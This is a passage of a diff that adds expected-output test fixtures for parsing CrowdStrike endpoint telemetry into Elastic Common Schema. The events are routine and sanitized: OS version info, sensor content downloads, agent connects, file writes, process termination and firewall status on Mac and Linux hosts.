+                "OSVersionFileData": "3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a",
+                "OSVersionFileName": "/System/Library/CoreServices/SystemVersion.plist",
+                "RFMState": "0",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-b3de-06a53f021cc9",
+                "name": "OsVersionInfoMacV3"
+            },
+            "device": {
+                "id": "ffffffffbea440b9aad8b5bf222d303f"
+            },
+            "event": {
+                "action": "OsVersionInfo",
+                "category": [
+                    "host"
+                ],
+                "created": "2021-07-07T17:04:22.356Z",
+                "id": "ffffffff-1111-11eb-b3de-06a53f021cc9|ffffffffbea440b9aad8b5bf222d303f|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"MajorVersion\":\"19\",\"event_simpleName\":\"OsVersionInfo\",\"OSVersionFileData\":\"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a\",\"ConfigStateHash\":\"3967242894\",\"AgentVersion\":\"6.24.13701.0\",\"aip\":\"67.43.156.14\",\"MinorVersion\":\"6\",\"OSVersionString\":\"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"OsVersionInfoMacV3\",\"RFMState\":\"0\",\"id\":\"ffffffff-1111-11eb-b3de-06a53f021cc9\",\"OSVersionFileName\":\"/System/Library/CoreServices/SystemVersion.plist\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffbea440b9aad8b5bf222d303f\",\"timestamp\":\"1625677462356\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "ffffffffbea440b9aad8b5bf222d303f",
+                "os": {
+                    "type": "macos",
+                    "version": "Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64"
+                }
+            },
+            "message": "OsVersionInfo",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffbea440b9aad8b5bf222d303f",
+                "version": "6.24.13701.0"
+            },
+            "related": {
+                "hash": [
+                    "3967242894"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:03:56.454Z",
+            "crowdstrike": {
+                "ConfigStateData": [
+                    "0,0,1007.8.0010912.1",
+                    "1,c,0",
+                    "1,10,1",
+                    "1,11,0",
+                    "1,12,1",
+                    "1,13,1",
+                    "1,14,19",
+                    "1,15,3",
+                    "1,1f,4",
+                    "1,22,3",
+                    "1,3b,1",
+                    "1,59,2d",
+                    "1,d3,263",
+                    "1,d4,0",
+                    "1,eb,36",
+                    "1,201,1",
+                    "2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205"
+                ],
+                "ConfigStateHash": "1284133626",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-8e88-068a8894a447",
+                "name": "ConfigStateUpdateLinV1"
+            },
+            "device": {
+                "id": "ffffffff4f4044b689d6420d303e4ecd"
+            },
+            "event": {
+                "action": "ConfigStateUpdate",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2021-07-07T17:03:56.454Z",
+                "id": "ffffffff-1111-11eb-8e88-068a8894a447|ffffffff4f4044b689d6420d303e4ecd|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.8.0010912.1\",\"event_simpleName\":\"ConfigStateUpdate\",\"event_platform\":\"Lin\",\"ConfigStateHash\":\"1284133626\",\"ConfigStateData\":\"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|\",\"name\":\"ConfigStateUpdateLinV1\",\"aip\":\"67.43.156.14\",\"id\":\"ffffffff-1111-11eb-8e88-068a8894a447\",\"aid\":\"ffffffff4f4044b689d6420d303e4ecd\",\"timestamp\":\"1625677436454\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffff4f4044b689d6420d303e4ecd",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "ConfigStateUpdate",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff4f4044b689d6420d303e4ecd",
+                "version": "1007.8.0010912.1"
+            },
+            "related": {
+                "hash": [
+                    "1284133626"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:02:45.906Z",
+            "crowdstrike": {
+                "CompletionEventId": "Event_KmaExtDownloadCompleteLinV1",
+                "ConfigStateHash": "1333055909",
+                "DownloadPort": 443,
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-8dee-0201f64cca29",
+                "name": "LFODownloadConfirmationLinV1"
+            },
+            "device": {
+                "id": "ffffffff88b948c6abeeee910f6d8c33"
+            },
+            "event": {
+                "action": "LFODownloadConfirmation",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:02:45.906Z",
+                "id": "ffffffff-1111-11eb-8dee-0201f64cca29|ffffffff88b948c6abeeee910f6d8c33|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"LFODownloadConfirmation\",\"ConfigStateHash\":\"1333055909\",\"aip\":\"67.43.156.14\",\"DownloadServer\":\"lfodown01-b.cloudsink.net\",\"DownloadPath\":\"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53\",\"DownloadPort\":\"443\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"name\":\"LFODownloadConfirmationLinV1\",\"CompletionEventId\":\"Event_KmaExtDownloadCompleteLinV1\",\"id\":\"ffffffff-1111-11eb-8dee-0201f64cca29\",\"aid\":\"ffffffff88b948c6abeeee910f6d8c33\",\"timestamp\":\"1625677365906\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"KernelModuleArchiveExt11611\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "path": "KernelModuleArchiveExt11611",
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffff88b948c6abeeee910f6d8c33",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "LFODownloadConfirmation",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff88b948c6abeeee910f6d8c33",
+                "version": "1007.8.0011611.1"
+            },
+            "related": {
+                "hash": [
+                    "1333055909"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "server": {
+                "address": "lfodown01-b.cloudsink.net",
+                "domain": "lfodown01-b.cloudsink.net",
+                "registered_domain": "cloudsink.net",
+                "subdomain": "lfodown01-b",
+                "top_level_domain": "net"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "url": {
+                "domain": "lfodown01-b.cloudsink.net",
+                "original": "https://lfodown01-b.cloudsink.net/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53",
+                "path": "/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53",
+                "registered_domain": "cloudsink.net",
+                "scheme": "https",
+                "subdomain": "lfodown01-b",
+                "top_level_domain": "net"
+            }
+        },
+        {
+            "@timestamp": "2021-07-07T17:02:33.895Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "ContextProcessId": "365049009681176519",
+                "ContextTimeStamp": "2021-07-07T17:02:33.633Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9497-028a0bfcf603",
+                "name": "TarFileWrittenMacV1"
+            },
+            "device": {
+                "id": "ffffffffe6244708bd09a6c111f63f4a"
+            },
+            "event": {
+                "action": "TarFileWritten",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:02:33.895Z",
+                "id": "ffffffff-1111-11eb-9497-028a0bfcf603|ffffffffe6244708bd09a6c111f63f4a|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"TarFileWritten\",\"ContextTimeStamp\":\"1625677353.633\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365049009681176519\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"050000010000000000000000000000005749420100000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"TarFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-9497-028a0bfcf603\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffe6244708bd09a6c111f63f4a\",\"timestamp\":\"1625677353895\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache",
+                "extension": "gem",
+                "inode": "050000010000000000000000000000005749420100000000",
+                "name": "database_cleaner-1.8.5.gem",
+                "path": "/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem",
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffffe6244708bd09a6c111f63f4a",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "TarFileWritten",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffe6244708bd09a6c111f63f4a",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "365049009681176519",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:02:30.466Z",
+            "crowdstrike": {
+                "ConfigIDBase": "65994753",
+                "ConfigIDBuild": "13701",
+                "ConfigIDPlatform": "4",
+                "ConfigStateHash": "3967242894",
+                "ConfigurationVersion": "10",
+                "ConnectTime": "2021-07-07T17:02:30.208Z",
+                "ConnectType": "1",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "FailedConnectCount": 404,
+                "NetworkContainmentState": "0",
+                "PreviousConnectTime": "2021-07-07T16:06:03.331Z",
+                "ProvisionState": "0",
+                "VerifiedCertificate": "7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-ba54-02a3616f6acd",
+                "name": "AgentConnectMacV5"
+            },
+            "device": {
+                "id": "ffffffff2977460db2898ece881a9358"
+            },
+            "event": {
+                "action": "AgentConnect",
+                "category": [
+                    "network",
+                    "session"
+                ],
+                "created": "2021-07-07T17:02:30.466Z",
+                "id": "ffffffff-1111-11eb-ba54-02a3616f6acd|ffffffff2977460db2898ece881a9358|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"AgentConnect\",\"ConfigStateHash\":\"3967242894\",\"NetworkContainmentState\":\"0\",\"VerifiedCertificate\":\"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf\",\"aip\":\"67.43.156.14\",\"ConfigIDBase\":\"65994753\",\"FailedConnectCount\":\"404\",\"ConnectType\":\"1\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"ConfigurationVersion\":\"10\",\"Entitlements\":\"15\",\"name\":\"AgentConnectMacV5\",\"ConfigIDPlatform\":\"4\",\"PreviousConnectTime\":\"1625673963.331\",\"id\":\"ffffffff-1111-11eb-ba54-02a3616f6acd\",\"ConfigIDBuild\":\"13701\",\"ConnectTime\":\"1625677350.208\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff2977460db2898ece881a9358\",\"ProvisionState\":\"0\",\"timestamp\":\"1625677350466\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "connection",
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "ffffffff2977460db2898ece881a9358",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "AgentConnect",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff2977460db2898ece881a9358",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "3967242894"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:25.235Z",
+            "crowdstrike": {
+                "CompletionEventId": "Event_ChannelDataDownloadCompleteMacV1",
+                "ConfigStateHash": "3090255842",
+                "DownloadPort": 443,
+                "EffectiveTransmissionClass": "0",
+                "Entitlements": "15",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-8b09-069ee8920171",
+                "name": "LFODownloadConfirmationMacV1"
+            },
+            "device": {
+                "id": "ffffffff5e8b4724aa10088c4f71cd9a"
+            },
+            "event": {
+                "action": "LFODownloadConfirmation",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:05:25.235Z",
+                "id": "ffffffff-1111-11eb-8b09-069ee8920171|ffffffff5e8b4724aa10088c4f71cd9a|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"LFODownloadConfirmation\",\"ConfigStateHash\":\"3090255842\",\"aip\":\"67.43.156.14\",\"DownloadServer\":\"lfodown01-b.cloudsink.net\",\"DownloadPath\":\"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys\",\"DownloadPort\":\"443\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"LFODownloadConfirmationMacV1\",\"CompletionEventId\":\"Event_ChannelDataDownloadCompleteMacV1\",\"id\":\"ffffffff-1111-11eb-8b09-069ee8920171\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffff5e8b4724aa10088c4f71cd9a\",\"timestamp\":\"1625677525235\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"C-00000503-00000000-00000001.sys\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "path": "C-00000503-00000000-00000001.sys",
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffff5e8b4724aa10088c4f71cd9a",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "LFODownloadConfirmation",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff5e8b4724aa10088c4f71cd9a",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "server": {
+                "address": "lfodown01-b.cloudsink.net",
+                "domain": "lfodown01-b.cloudsink.net",
+                "registered_domain": "cloudsink.net",
+                "subdomain": "lfodown01-b",
+                "top_level_domain": "net"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "url": {
+                "domain": "lfodown01-b.cloudsink.net",
+                "extension": "sys",
+                "original": "https://lfodown01-b.cloudsink.net/metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys",
+                "path": "/metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys",
+                "registered_domain": "cloudsink.net",
+                "scheme": "https",
+                "subdomain": "lfodown01-b",
+                "top_level_domain": "net"
+            }
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:42.403Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1620585913",
+                "ContextProcessId": "364936256754041721",
+                "ContextTimeStamp": "2021-07-07T17:04:42.148Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "VnodeModificationType": "6",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9e50-064be6e56df7",
+                "name": "AsepFileChangeMacV1"
+            },
+            "device": {
+                "id": "fffffffff1a64286a233d09974b1b377"
+            },
+            "event": {
+                "action": "AsepFileChange",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:04:42.403Z",
+                "id": "ffffffff-1111-11eb-9e50-064be6e56df7|fffffffff1a64286a233d09974b1b377|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"AsepFileChange\",\"ContextTimeStamp\":\"1625677482.148\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"364936256754041721\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"AsepFileChangeMacV1\",\"id\":\"ffffffff-1111-11eb-9e50-064be6e56df7\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"fffffffff1a64286a233d09974b1b377\",\"timestamp\":\"1625677482403\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs\",\"VnodeModificationType\":\"6\"}",
+                "outcome": "success",
+                "type": [
+                    "creation",
+                    "change"
+                ]
+            },
+            "file": {
+                "directory": "/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS",
+                "name": "SystemPrefs",
+                "path": "/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs",
+                "type": "file"
+            },
+            "host": {
+                "id": "fffffffff1a64286a233d09974b1b377",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "AsepFileChange",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "fffffffff1a64286a233d09974b1b377",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "364936256754041721",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "1620585913"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:11.067Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1284133626",
+                "ContextProcessId": "130732827553316",
+                "ContextTimeStamp": "2021-07-07T17:05:10.959Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-97d0-02b2813216eb",
+                "name": "TerminateProcessLinV2"
+            },
+            "device": {
+                "id": "ffffffffdd094539a02b394c69a70aaf"
+            },
+            "event": {
+                "action": "TerminateProcess",
+                "category": [
+                    "process"
+                ],
+                "created": "2021-07-07T17:05:11.067Z",
+                "id": "ffffffff-1111-11eb-97d0-02b2813216eb|ffffffffdd094539a02b394c69a70aaf|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"TerminateProcess\",\"RawProcessId\":\"76482\",\"ContextTimeStamp\":\"1625677510.959\",\"ConfigStateHash\":\"1284133626\",\"ContextProcessId\":\"130732827553316\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0010912.1\",\"event_platform\":\"Lin\",\"TargetProcessId\":\"130732827553316\",\"Entitlements\":\"15\",\"name\":\"TerminateProcessLinV2\",\"id\":\"ffffffff-1111-11eb-97d0-02b2813216eb\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffdd094539a02b394c69a70aaf\",\"timestamp\":\"1625677511067\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "id": "ffffffffdd094539a02b394c69a70aaf",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "TerminateProcess",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffdd094539a02b394c69a70aaf",
+                "version": "1007.8.0010912.1"
+            },
+            "process": {
+                "entity_id": "130732827553316",
+                "pid": 76482,
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "1284133626"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:02:52.544Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-a9e6-067d21325a03",
+                "name": "FirewallEnabledMacV1"
+            },
+            "device": {
+                "id": "ffffffff70cf4070af024397f25007c7"
+            },
+            "event": {
+                "action": "FirewallEnabled",
+                "category": [
+                    "configuration",
+                    "host"
+                ],
+                "created": "2021-07-07T17:02:52.544Z",
+                "id": "ffffffff-1111-11eb-a9e6-067d21325a03|ffffffff70cf4070af024397f25007c7|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.4.0013701.1\",\"event_simpleName\":\"FirewallEnabled\",\"event_platform\":\"Mac\",\"ConfigStateHash\":\"3090255842\",\"Entitlements\":\"15\",\"name\":\"FirewallEnabledMacV1\",\"aip\":\"67.43.156.14\",\"id\":\"ffffffff-1111-11eb-a9e6-067d21325a03\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff70cf4070af024397f25007c7\",\"timestamp\":\"1625677372544\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffff70cf4070af024397f25007c7",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "FirewallEnabled",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff70cf4070af024397f25007c7",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:02:14.451Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "ContextTimeStamp": "2021-07-07T17:02:12.283Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "VolumeIsNetwork": "0",
+                "VolumeMediaBSDName": "disk2s2",
+                "VolumeMountPoint": "/private/tmp/KSInstallAction.dn6J5Xa1M4/m",
+                "VolumeName": "Install Google Drive",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-8fd9-06866dcbd3d5",
+                "name": "FsVolumeUnmountedMacV1"
+            },
+            "device": {
+                "id": "ffffffffed984e248973f3ada1eb543d"
+            },
+            "event": {
+                "action": "FsVolumeUnmounted",
+                "category": [
+                    "host"
+                ],
+                "created": "2021-07-07T17:02:14.451Z",
+                "id": "ffffffff-1111-11eb-8fd9-06866dcbd3d5|ffffffffed984e248973f3ada1eb543d|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
